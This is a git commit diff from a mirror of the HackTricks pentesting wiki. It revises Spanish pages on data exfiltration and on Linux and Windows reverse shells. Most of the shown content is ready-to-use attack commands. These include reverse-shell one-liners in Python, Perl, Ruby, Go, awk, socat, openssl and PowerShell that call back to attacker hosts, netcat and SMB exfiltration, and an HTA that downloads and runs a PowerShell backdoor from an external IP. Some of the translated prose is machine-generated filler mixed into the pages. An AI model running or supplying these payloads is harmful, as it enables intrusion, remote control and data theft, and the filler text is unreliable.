mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene
This commit is contained in:
parent
c4a382c6ce
commit
e7d5898c04
18 changed files with 335 additions and 574 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
@ -14,14 +14,6 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que son más importantes para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Dominios comúnmente permitidos para exfiltrar información
|
||||
|
||||
Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente permitidos que pueden ser abusados
|
||||
|
@ -161,14 +153,6 @@ echo GET mimikatz.exe >> ftp.txt
|
|||
echo bye >> ftp.txt
|
||||
ftp -n -v -s:ftp.txt
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## SMB
|
||||
|
||||
Kali como servidor
|
||||
|
@ -193,23 +177,38 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
Windows
|
||||
# Exfiltration
|
||||
|
||||
---
|
||||
## Introduction
|
||||
|
||||
### Exfiltration
|
||||
Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox for data exfiltration.
|
||||
|
||||
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
|
||||
## Techniques
|
||||
|
||||
1. **Email**: Sending data as email attachments.
|
||||
2. **FTP**: Transferring data using the File Transfer Protocol.
|
||||
3. **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
|
||||
4. **DNS**: Encoding data within DNS requests.
|
||||
5. **Steganography**: Hiding data within images or other files.
|
||||
6. **Cloud Storage**: Uploading data to cloud storage services.
|
||||
7. **Physical Media**: Copying data to removable storage devices.
|
||||
### Command and Control (C2) Channels
|
||||
|
||||
It is important for attackers to choose exfiltration methods that are less likely to be detected by security measures in place.
|
||||
C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected.
|
||||
|
||||
### DNS Exfiltration
|
||||
|
||||
DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls that may not inspect DNS traffic.
|
||||
|
||||
### Leveraging Legitimate Services
|
||||
|
||||
Attackers may leverage legitimate services like Dropbox, Google Drive, or OneDrive to exfiltrate data from a target system. By using these services, attackers can blend in with normal network traffic and avoid detection.
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
There are various tools and resources available to facilitate data exfiltration, including:
|
||||
|
||||
- **Cobalt Strike**: A popular tool used by red teams for post-exploitation activities, including data exfiltration.
|
||||
- **PowerShell Empire**: An open-source post-exploitation framework that can be used for exfiltrating data from compromised systems.
|
||||
- **Cloud Storage Services**: Services like Dropbox, Google Drive, and OneDrive can be leveraged for data exfiltration.
|
||||
- **Steganography Tools**: Tools that can be used to hide data within images or other files for exfiltration purposes.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Exfiltration is a critical phase of the cyber attack lifecycle, allowing attackers to steal valuable data from target systems. By understanding exfiltration techniques and leveraging appropriate tools and resources, security professionals can better defend against data exfiltration attempts.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -225,7 +224,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.
|
||||
Si la víctima tiene SSH, el atacante puede montar un directorio de la víctima al atacante.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
|
@ -237,23 +236,27 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
|
||||
#### Description
|
||||
|
||||
The Netcat utility can be used for exfiltration by creating a reverse shell to send data from the target machine to the attacker's machine. This can be achieved by setting up a listener on the attacker's machine and then executing a command on the target machine to connect back to the listener.
|
||||
The Netcat (NC) utility can be used for exfiltration by creating a reverse shell or transferring files over a network connection. This can be achieved by setting up a listener on an attacker-controlled machine and connecting to it from the compromised system using Netcat.
|
||||
|
||||
#### Usage
|
||||
#### Methodology
|
||||
|
||||
1. **Setting Up the Listener**: On the attacker's machine, set up a listener using Netcat to receive the exfiltrated data.
|
||||
|
||||
On the attacker's machine:
|
||||
```bash
|
||||
nc -lvp <port> > exfiltrated_data
|
||||
nc -lvp <port> > received_data
|
||||
```
|
||||
|
||||
On the target machine:
|
||||
2. **Sending Data**: On the compromised system, use Netcat to connect to the attacker's machine and send the data.
|
||||
|
||||
```bash
|
||||
nc <attacker_ip> <port> < exfiltrated_data
|
||||
nc <attacker_ip> <port> < file_to_send
|
||||
```
|
||||
|
||||
3. **Receiving Data**: The data will be received on the attacker's machine and saved in the specified file (`received_data` in this case).
|
||||
|
||||
#### Detection
|
||||
|
||||
Monitoring network traffic for suspicious connections to and from the target machine can help detect exfiltration using Netcat. Additionally, monitoring for unusual outbound network connections from the target machine can also indicate potential data exfiltration.
|
||||
Monitoring network traffic for suspicious connections to and from systems can help in detecting exfiltration using Netcat. Additionally, monitoring for unusual file transfers or spikes in outbound network traffic can also indicate potential data exfiltration activities.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -320,7 +323,7 @@ tftp -i <KALI-IP> get nc.exe
|
|||
```
|
||||
## PHP
|
||||
|
||||
Descargar un archivo con un PHP oneliner:
|
||||
Descarga un archivo con un PHP oneliner:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
|
@ -376,16 +379,10 @@ Luego copia y pega el texto en la ventana de comandos de Windows y se creará un
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -10,11 +10,11 @@ Otras formas de apoyar a HackTricks:
|
|||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Si tienes preguntas sobre cualquiera de estas shells puedes verificarlas con** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Si tienes preguntas sobre cualquiera de estas shells puedes consultarlas en** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
||||
|
@ -100,7 +100,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
|||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Para enviar el comando, escríbelo, presiona enter y luego presiona CTRL+D (para detener STDIN)
|
||||
Para enviar el comando, escríbalo, presione enter y luego presione CTRL+D (para detener STDIN)
|
||||
|
||||
**Victim**
|
||||
```bash
|
||||
|
@ -108,7 +108,7 @@ export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X
|
|||
```
|
||||
## Python
|
||||
|
||||
Python es un lenguaje de programación de alto nivel ampliamente utilizado en el hacking ético debido a su sintaxis clara y legible. Es una herramienta poderosa para escribir scripts y automatizar tareas en sistemas Linux.
|
||||
Python es un lenguaje de programación de alto nivel ampliamente utilizado en el hacking ético debido a su facilidad de uso y versatilidad. Es una excelente opción para escribir scripts y herramientas de hacking debido a su sintaxis clara y legible.
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
|
@ -117,13 +117,15 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
|
|||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl es un lenguaje de programación versátil y potente que se puede utilizar para escribir scripts de shell en sistemas Linux. Ofrece una amplia gama de funciones y módulos que facilitan la manipulación de archivos, el procesamiento de texto y la automatización de tareas. Los scripts de Perl suelen tener una extensión de archivo `.pl` y se pueden ejecutar en la línea de comandos utilizando el intérprete de Perl.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby es un lenguaje de programación dinámico y de código abierto enfocado en la simplicidad y la productividad. Es ampliamente utilizado para el desarrollo web y es conocido por su elegancia y facilidad de uso.
|
||||
Ruby es un lenguaje de programación dinámico y de código abierto conocido por su simplicidad y productividad. Es ampliamente utilizado en el desarrollo web y es compatible con varias plataformas.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
|
@ -147,19 +149,45 @@ p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while r
|
|||
p.waitFor()
|
||||
```
|
||||
## Ncat
|
||||
|
||||
Ncat (anteriormente conocido como Netcat) es una herramienta de red que admite una amplia gama de funcionalidades, como lectura y escritura desde archivos, redirección de puertos y escaneo de puertos. Es una herramienta muy versátil que puede ser utilizada para crear conexiones de red directas entre sistemas y realizar pruebas de conectividad.
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Golang
|
||||
|
||||
### Introducción
|
||||
|
||||
Go, también conocido como Golang, es un lenguaje de programación de código abierto desarrollado por Google. Es conocido por su eficiencia y su capacidad para manejar concurrencia. En este capítulo, exploraremos cómo utilizar Go para crear shells en sistemas Linux.
|
||||
|
||||
### Creando una Shell en Linux con Golang
|
||||
|
||||
Para crear una shell en Linux utilizando Golang, primero necesitamos importar el paquete `os/exec`, que nos permitirá ejecutar comandos en el sistema operativo. Luego, podemos usar la función `Command` para ejecutar comandos en la shell y capturar su salida.
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cmd := exec.Command("/bin/bash", "-c", "ls -la")
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
fmt.Println(string(out))
|
||||
}
|
||||
```
|
||||
|
||||
En este ejemplo, estamos ejecutando el comando `ls -la` en la shell y capturando su salida. Podemos compilar y ejecutar este programa en un sistema Linux para ver la lista de archivos y directorios en el directorio actual.
|
||||
|
||||
### Conclusiones
|
||||
|
||||
Go es un lenguaje de programación poderoso que se puede utilizar para crear shells en sistemas Linux de forma eficiente. Con la capacidad de manejar concurrencia y ejecutar comandos en el sistema operativo, Go es una excelente opción para desarrollar herramientas de hacking y pentesting.
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
|
@ -221,7 +249,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
El Objetivo
|
||||
La Víctima
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -245,11 +273,11 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```
|
||||
## Awk
|
||||
|
||||
Awk es un lenguaje de programación versátil y poderoso utilizado comúnmente para el procesamiento y análisis de archivos de texto en sistemas Unix y Linux. Permite a los hackers automatizar tareas, extraer información específica de archivos de texto y realizar manipulaciones complejas en los datos. Awk se utiliza a menudo en scripts de shell y es una herramienta valiosa para la manipulación de datos en entornos de hacking.
|
||||
Awk es un lenguaje de programación versátil y poderoso utilizado comúnmente para el procesamiento de texto y la extracción de datos en sistemas Unix y Linux. Permite a los hackers y administradores de sistemas realizar tareas como buscar y reemplazar patrones de texto, filtrar y formatear datos, y realizar cálculos matemáticos simples. Awk se puede utilizar en la línea de comandos o en scripts para automatizar tareas y manipular archivos de texto de manera eficiente.
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
## Dedo
|
||||
## Finger
|
||||
|
||||
**Atacante**
|
||||
```bash
|
||||
|
@ -265,7 +293,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
|||
```
|
||||
## Gawk
|
||||
|
||||
Gawk es una herramienta de procesamiento de texto muy poderosa que se puede utilizar para manipular y transformar datos en archivos de texto. Es especialmente útil para extraer información específica de archivos de registro o de salida de otros comandos.
|
||||
Gawk es una versión mejorada de AWK que se utiliza comúnmente en sistemas Linux. Puede ser utilizado para procesar y extraer información de archivos de texto de una manera eficiente.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
|
@ -294,7 +322,7 @@ Esto intentará conectarse a su sistema en el puerto 6001:
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Para capturar la shell inversa puedes usar (que estará escuchando en el puerto 6001):
|
||||
Para capturar la shell inversa puedes usar (que estará a la escucha en el puerto 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -319,7 +347,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
|
|
|
@ -2,30 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) es para linux.\
|
||||
Obviamente, **no hay archivos SUID o privilegios sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario.**
|
||||
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acciones inesperadas como **ejecutar código arbitrario.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -33,7 +25,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas tipo Unix y Win32. Con características como encriptación fuerte, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd ofrece una solución versátil para la comunicación TCP/IP. Para usuarios de Windows, la versión sbd.exe de la distribución Kali Linux puede ser utilizada como un reemplazo confiable para Netcat.
|
||||
**[sbd](https://www.kali.org/tools/sbd/) es una alternativa portátil y segura a Netcat**. Funciona en sistemas tipo Unix y Win32. Con características como encriptación sólida, ejecución de programas, puertos de origen personalizables y reconexión continua, sbd ofrece una solución versátil para la comunicación TCP/IP. Para usuarios de Windows, la versión sbd.exe de la distribución Kali Linux puede ser utilizada como un reemplazo confiable para Netcat.
|
||||
```bash
|
||||
# Victims machine
|
||||
sbd -l -p 4444 -e bash -v -n
|
||||
|
@ -51,8 +43,6 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl es un lenguaje de programación ampliamente utilizado en el hacking debido a su capacidad para ejecutar comandos del sistema y manipular texto de manera eficiente. Los scripts de Perl pueden ser utilizados para crear shells interactivas en sistemas Windows, lo que permite a los hackers ejecutar comandos de forma remota y mantener el acceso persistente al sistema comprometido.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
|
@ -63,8 +53,6 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen(
|
|||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua es un lenguaje de programación poderoso, eficiente y ligero que se utiliza en una variedad de aplicaciones, incluidos juegos, aplicaciones web y sistemas embebidos. Lua es conocido por ser fácil de aprender y usar, lo que lo convierte en una excelente opción para la creación de scripts y la automatización de tareas.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
@ -76,7 +64,9 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
Victima
|
||||
**Victima**
|
||||
|
||||
La víctima es el objetivo de un ataque informático. Puede referirse a una persona, organización o sistema que es el objetivo de un hacker. Es importante tener en cuenta la ética y la legalidad al realizar pruebas de penetración para evitar dañar a la víctima.
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -92,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
Proceso que realiza una llamada de red: **powershell.exe**\
|
||||
Carga escrita en disco: **NO** (_al menos en ningún lugar que pude encontrar usando procmon !_)
|
||||
Carga escrita en el disco: **NO** (_al menos en ningún lugar que pude encontrar usando procmon !_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
|
@ -117,7 +107,7 @@ mshta http://webserver/payload.hta
|
|||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **Ejemplo de shell inverso hta-psh (usar hta para descargar y ejecutar la puerta trasera de PS)**
|
||||
#### **Ejemplo de shell inverso hta-psh (usar hta para descargar y ejecutar la puerta trasera de PowerShell)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
|
